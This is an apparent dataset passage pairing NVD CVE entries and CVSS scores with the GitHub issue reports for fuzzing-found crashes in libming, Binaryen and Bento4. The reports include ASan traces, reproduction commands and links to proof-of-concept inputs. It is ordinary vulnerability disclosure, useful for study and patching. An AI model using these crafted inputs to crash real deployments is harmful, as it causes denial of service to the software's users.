{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/libming/libming/issues/172" } ]

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https://github.com/libming/libming/issues/172

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "libming", "libming" ]

version: master(**commit 50098023446a5412efcfbd40552821a8cba983a6**) command: **listswf $FILE** OS: **Ubuntu 16.04.4 LTS 64bit** ``` $ ./install-asan/bin/listswf poc >/dev/null header indicates a filesize of 1995 but filesize is 1916 ==19625==WARNING: AddressSanitizer failed to allocate 0xfffffffffffffffe bytes ==19625==AddressSanitizer's allocator is terminating the process instead of returning 0 ==19625==If you don't like this behavior set allocator_may_return_null=1 ==19625==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:147 "((0)) != (0)" (0x0, 0x0) #0 0x7f9290d80631 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa0631) #1 0x7f9290d855e3 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa55e3) #2 0x7f9290cfd425 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x1d425) #3 0x7f9290d83865 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0xa3865) #4 0x7f9290d02b4d (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x22b4d) #5 0x7f9290d785d2 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x985d2) #6 0x44dec2 in readBytes /home/wdw/experiment/aflgo/libming/util/read.c:252 #7 0x437290 in parseSWF_DEFINEBITSJPEG2 /home/wdw/experiment/aflgo/libming/util/parser.c:1493 #8 0x419c15 in blockParse /home/wdw/experiment/aflgo/libming/util/blocktypes.c:145 #9 0x415a68 in readMovie /home/wdw/experiment/aflgo/libming/util/main.c:269 #10 0x41624e in main /home/wdw/experiment/aflgo/libming/util/main.c:354 #11 0x7f929041782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #12 0x401aa8 in _start (/home/wdw/experiment/aflgo/libming/install-asan/bin/listswf+0x401aa8) ``` Download: [poc](https://github.com/waugustus/poc/blob/master/libming/memory-allocate-failure_read.c-252)

Memory allocation failure in readBytes (read.c:252)

https://api.github.com/repos/libming/libming/issues/172/comments

2

2019-01-17T09:17:38Z

2019-03-09T02:21:54Z

https://github.com/libming/libming/issues/172

400,178,531

172

CVE-2019-7662

2019-02-09T16:29:00.250

An assertion failure was discovered in wasm::WasmBinaryBuilder::getType() in wasm-binary.cpp in Binaryen 1.38.22. This allows remote attackers to cause a denial of service (failed assertion and crash) via a crafted wasm file.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "COMPLETE", "baseScore": 7.1, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:C", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1872" } ]

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https://github.com/WebAssembly/binaryen/issues/1872

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi there, Multiple Assertion failed were discovered in wasm::WasmBinaryBuilder::getType() in wasm-binary.cpp Here are the POC files. Please use "./wasm-opt $POC" to reproduce the error. [POC.zip](https://github.com/WebAssembly/binaryen/files/2763048/POC.zip) $git log ``` commit d24427dcc8cd6e0dbcd8c302eb2e8a5d0d6fdead Author: Alon Zakai <[email protected]> Date: Tue Jan 15 13:20:05 2019 -0800 Code style improvements (#1868) * Use modern T p = v; notation to initialize class fields * Use modern X() = default; notation for empty class constructors ``` The output was shown as follow: ``` wasm-opt: /binaryen/src/wasm/wasm-binary.cpp:849: wasm::Type wasm::WasmBinaryBuilder::getType(): Assertion `false' failed. Aborted Illegal instruction ``` The ASAN dumps the stack trace as follows: ``` #0 0x5e81a9 in __sanitizer_print_stack_trace /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_stack.cc:38 #1 0x9c0984 in wasm::WasmBinaryBuilder::getType() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:849:3 #2 0x9db431 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1793:18 #3 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #4 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #5 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #6 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #7 0x9cd93c in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #8 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #9 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #10 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #11 0x9c8636 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1838:3 #12 0x9ddd26 in wasm::WasmBinaryBuilder::visitIf(wasm::If*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1863:18 #13 0x9d2baf in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1680:38 #14 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #15 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #16 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #17 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #18 0x9dc509 in wasm::WasmBinaryBuilder::visitBlock(wasm::Block*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1822:5 #19 0x9d20eb in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1679:38 #20 0x9cd93c in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #21 0x9def9f in wasm::WasmBinaryBuilder::visitLoop(wasm::Loop*) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1884:3 #22 0x9d2abc in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1681:38 #23 0x9cda96 in wasm::WasmBinaryBuilder::processExpressions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1359:16 #24 0x9c8636 in wasm::WasmBinaryBuilder::getBlockOrSingleton(wasm::Type) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1838:3 #25 0x99de66 in wasm::WasmBinaryBuilder::readFunctions() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:1121:20 #26 0x97ee40 in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:678:41 #27 0xa82dab in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #28 0xa855a9 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #29 0x627a77 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:144:14 #30 0x7fc826a1d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #31 0x51c5a8 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x51c5a8) ```

Assertion failed were discovered in wasm::WasmBinaryBuilder::getType() in wasm-binary.cpp

https://api.github.com/repos/WebAssembly/binaryen/issues/1872/comments

1

2019-01-16T07:22:23Z

2019-01-19T13:30:49Z

https://github.com/WebAssembly/binaryen/issues/1872

399,678,485

1,872

CVE-2019-7697

2019-02-10T22:29:00.327

An issue was discovered in Bento4 v1.5.1-627. There is an assertion failure in AP4_AtomListWriter::Action in Core/Ap4Atom.cpp, leading to a denial of service (program crash), as demonstrated by mp42hls.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/351" } ]

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https://github.com/axiomatic-systems/Bento4/issues/351

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

Hi there, Multiple Assertion failed were discovered in AP4_AtomListWriter::Action(AP4_Atom *) in Ap4Atom.cpp Here are the POC files. Please use "./mp42hls $POC" to reproduce the error. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719232/POC.zip) The output were shown as follow: ``` Bento4/Source/C++/Core/Ap4Atom.cpp:759: virtual AP4_Result AP4_AtomListWriter::Action(AP4_Atom *) const: Assertion `bytes_written <= atom->GetSize()' failed. Aborted (core dumped) ```

Multiple Assertion failed were discovered in AP4_AtomListWriter::Action(AP4_Atom *) in Ap4Atom.cpp

https://api.github.com/repos/axiomatic-systems/Bento4/issues/351/comments

3

2019-01-01T09:47:39Z

2019-07-24T08:35:38Z

https://github.com/axiomatic-systems/Bento4/issues/351

395,069,674

351

CVE-2019-7698

2019-02-10T22:29:00.373

An issue was discovered in AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Core/Ap4Array.h in Bento4 1.5.1-627. Crafted MP4 input triggers an attempt at excessive memory allocation, as demonstrated by mp42hls, a related issue to CVE-2018-20095.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/354" } ]

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https://github.com/axiomatic-systems/Bento4/issues/354

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

Hi, there. I test the program at the master branch. ``` commit 5a0ce8023ea312a2d87c194049106e893ed57767 Merge: 91d2bc6 bab5bb9 Author: Gilles Boccon-Gibod <[email protected]> Date: Fri Dec 28 22:42:38 2018 -0800 Merge pull request #347 from orivej/apps Let Scons and CMake build all apps ``` An Out of Memory problem was discovered in function AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Ap4Array.h. The program tries to allocate with a large number size( 0x6eff83000 bytes) of memory. Please use the "./mp4dump $POC" to reproduce the bug. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719261/POC.zip)

when running mp4dump, there is a out-of-memory problem in AP4_Array<AP4_CttsTableEntry>::EnsureCapacity in Ap4Array.h

https://api.github.com/repos/axiomatic-systems/Bento4/issues/354/comments

1

2019-01-01T10:46:25Z

2019-01-01T10:46:50Z

https://github.com/axiomatic-systems/Bento4/issues/354

395,072,870

354

CVE-2019-7699

2019-02-10T22:29:00.403

A heap-based buffer over-read occurs in AP4_BitStream::WriteBytes in Codecs/Ap4BitStream.cpp in Bento4 v1.5.1-627. Remote attackers could leverage this vulnerability to cause an exception via crafted mp4 input, which leads to a denial of service.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }

[ { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/axiomatic-systems/Bento4/issues/355" } ]

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https://github.com/axiomatic-systems/Bento4/issues/355

[ "Exploit", "Third Party Advisory" ]

github.com

[ "axiomatic-systems", "Bento4" ]

Hi, there. A Heap-buffer-overflow problem was discovered in function AP4_BitStream::WriteBytes(unsigned char const*, unsigned int) in Ap4BitStream.cpp. A crafted input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./avcinfo $POC" to reproduce the error. [POC.zip](https://github.com/axiomatic-systems/Bento4/files/2719284/POC.zip) ``` ================================================================= ==5498==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eff4 at pc 0x0000004a817d bp 0x7ffddfab9910 sp 0x7ffddfab90c0 READ of size 8 at 0x60200000eff4 thread T0 #0 0x4a817c in __asan_memcpy (/Bento4/Build/avcinfo+0x4a817c) #1 0x4f90ab in AP4_BitStream::WriteBytes(unsigned char const*, unsigned int) /Bento4/Source/C++/Codecs/Ap4BitStream.cpp:133:9 #2 0x4f4829 in PrintSliceInfo(unsigned char const*) /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:84:5 #3 0x4f40a3 in main /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:171:21 #4 0x7f9e01e3982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 #5 0x41e318 in _start (/Bento4/Build/avcinfo+0x41e318) 0x60200000eff4 is located 0 bytes to the right of 4-byte region [0x60200000eff0,0x60200000eff4) allocated by thread T0 here: #0 0x4efb90 in operator new[](unsigned long) (/Bento4/Build/avcinfo+0x4efb90) #1 0x51b622 in AP4_DataBuffer::ReallocateBuffer(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:210:28 #2 0x51bb39 in AP4_DataBuffer::SetDataSize(unsigned int) /Bento4/Source/C++/Core/Ap4DataBuffer.cpp:151:33 #3 0x4f786b in AP4_NalParser::Feed(void const*, unsigned int, unsigned int&, AP4_DataBuffer const*&, bool) /Bento4/Source/C++/Codecs/Ap4NalParser.cpp:188:9 #4 0x4f39f5 in main /Bento4/Source/C++/Apps/AvcInfo/AvcInfo.cpp:150:22 #5 0x7f9e01e3982f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291 SUMMARY: AddressSanitizer: heap-buffer-overflow (/Bento4/Build/avcinfo+0x4a817c) in __asan_memcpy Shadow bytes around the buggy address: 0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa 0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==5498==ABORTING Aborted ``` $ git log ``` commit 5a0ce8023ea312a2d87c194049106e893ed57767 Merge: 91d2bc6 bab5bb9 Author: Gilles Boccon-Gibod <[email protected]> Date: Fri Dec 28 22:42:38 2018 -0800 Merge pull request #347 from orivej/apps Let Scons and CMake build all apps ```

When running avcinfo, a heap-buffer-overflow occur in function AP4_BitStream::WriteBytes in Ap4BitStream.cpp

https://api.github.com/repos/axiomatic-systems/Bento4/issues/355/comments

0

2019-01-01T11:33:09Z

https://github.com/axiomatic-systems/Bento4/issues/355

395,075,442

355

CVE-2019-7700

2019-02-10T22:29:00.450

A heap-based buffer over-read was discovered in wasm::WasmBinaryBuilder::visitCall in wasm-binary.cpp in Binaryen 1.38.22. A crafted wasm input can cause a segmentation fault, leading to denial-of-service, as demonstrated by wasm-merge.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "[email protected]", "type": "Primary" } ] }

[ { "source": "[email protected]", "tags": [ "Exploit", "Patch", "Third Party Advisory" ], "url": "https://github.com/WebAssembly/binaryen/issues/1864" } ]

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https://github.com/WebAssembly/binaryen/issues/1864

[ "Exploit", "Patch", "Third Party Advisory" ]

github.com

[ "WebAssembly", "binaryen" ]

Hi, there. A Heap-buffer-overflow problem was discovered in function wasm::WasmBinaryBuilder::visitCall(wasm::Call*) in wasm-binary.cpp in wasm. A crafted wasm input can cause segment faults and I have confirmed them with address sanitizer too. Here are the POC files. Please use "./wasm-merge $POC" to reproduce the error. [BOF.zip](https://github.com/WebAssembly/binaryen/files/2751979/BOF.zip) The ASAN dumps the stack trace as follows: ``` ================================================================= ==5194==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x606000001858 at pc 0x000000877201 bp 0x7ffd4b516d70 sp 0x7ffd4b516d68 READ of size 8 at 0x606000001858 thread T0 #0 0x877200 in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) /binaryen/src/wasm/wasm-binary.cpp:1954:12 #1 0x865f89 in wasm::WasmBinaryBuilder::readExpression(wasm::Expression*&) /binaryen/src/wasm/wasm-binary.cpp:1685:38 #2 0x86135e in wasm::WasmBinaryBuilder::processExpressions() /binaryen/src/wasm/wasm-binary.cpp:1359:16 #3 0x86047c in wasm::WasmBinaryBuilder::readExpression() /binaryen/src/wasm/wasm-binary.cpp:1326:3 #4 0x83aee8 in wasm::WasmBinaryBuilder::readGlobals() /binaryen/src/wasm/wasm-binary.cpp:1344:18 #5 0x816f37 in wasm::WasmBinaryBuilder::read() /binaryen/src/wasm/wasm-binary.cpp:682:9 #6 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:52:10 #7 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /binaryen/src/wasm/wasm-io.cpp:71:5 #8 0x60aa08 in main /binaryen/src/tools/wasm-merge.cpp:617:16 #9 0x7fadbeaf082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #10 0x508d58 in _start (/binaryen/build/bin/wasm-merge+0x508d58) Address 0x606000001858 is a wild pointer. SUMMARY: AddressSanitizer: heap-buffer-overflow /binaryen/src/wasm/wasm-binary.cpp:1954:12 in wasm::WasmBinaryBuilder::visitCall(wasm::Call*) Shadow bytes around the buggy address: 0x0c0c7fff82b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff82f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c0c7fff8300: fa fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa 0x0c0c7fff8310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0c7fff8350: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==5194==ABORTING ``` $ git log ``` commit 45714b5fc6cf14c112bc4f188aca427464ab69d8 Author: Alon Zakai <[email protected]> Date: Thu Jan 10 19:31:20 2019 -0800 Compare binaryen fuzz-exec to JS VMs (#1856) The main fuzz_opt.py script compares JS VMs, and separately runs binaryen's fuzz-exec that compares the binaryen interpreter to itself (before and after opts). This PR lets us directly compare binaryen's interpreter output to JS VMs. This found a bunch of minor things we can do better on both sides, giving more fuzz coverage. To enable this, a bunch of tiny fixes were needed: * Add --fuzz-exec-before which is like --fuzz-exec but just runs the code before opts are run, instead of before and after. * Normalize double printing (so JS and C++ print comparable things). This includes negative zero in JS, which we never printed properly til now. * Various improvements to how we print fuzz-exec logging - remove unuseful things, and normalize the others across JS and C++. * Properly legalize the wasm when --emit-js-wrapper (i.e., we will run the code from JS), and use that in the JS wrapper code. ```

A Heap-buffer-overflow problem was discovered in function wasm::WasmBinaryBuilder::visitCall(wasm::Call*) in wasm-binary.cpp

https://api.github.com/repos/WebAssembly/binaryen/issues/1864/comments

1

2019-01-12T12:21:27Z

2019-01-15T17:10:48Z

https://github.com/WebAssembly/binaryen/issues/1864

398,549,495

1,864

CVE-2019-7701

2019-02-10T22:29:00.497

A heap-based buffer over-read was discovered in wasm::SExpressionParser::skipWhitespace() in wasm-s-parser.cpp in Binaryen 1.38.22. A crafted wasm input can cause a segmentation fault, leading to denial-of-service, as demonstrated by wasm2js.

